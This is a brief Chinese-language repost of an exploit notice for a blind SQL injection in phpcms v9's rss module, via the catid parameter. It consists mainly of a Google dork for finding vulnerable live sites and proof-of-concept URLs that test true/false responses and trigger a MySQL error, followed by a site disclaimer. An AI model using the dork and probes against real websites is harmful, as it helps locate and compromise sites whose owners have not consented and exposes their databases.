影响版本：phpcms v9 blind
官方网站：http://www.phpcms.cn
漏洞类型：sql注入
漏洞描述：phpcms v9 blind 参数过滤存在sql注入漏洞。
google dork:inurl:"index.php?m=content+c=rss+catid=10"
exploit & p0c
[!] index.php?m=content&c=rss&catid=[valid catid]
example p0c
[!] http://host/index.php?m=content&c=rss&catid=10 <= true
[!] http://host/index.php?m=content&c=rss&catid=-10 <= false
[+] http://host/index.php?m=content&c=rss&catid=5 <= show mysql error (table)
版权声明：本文内容由互联网用户贡献，该文观点仅代表作者本人。本站仅提供信息存储服务，不拥有所有权，不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 2386932994@qq.com 举报，一经查实将立刻删除。
我要评论
发表评论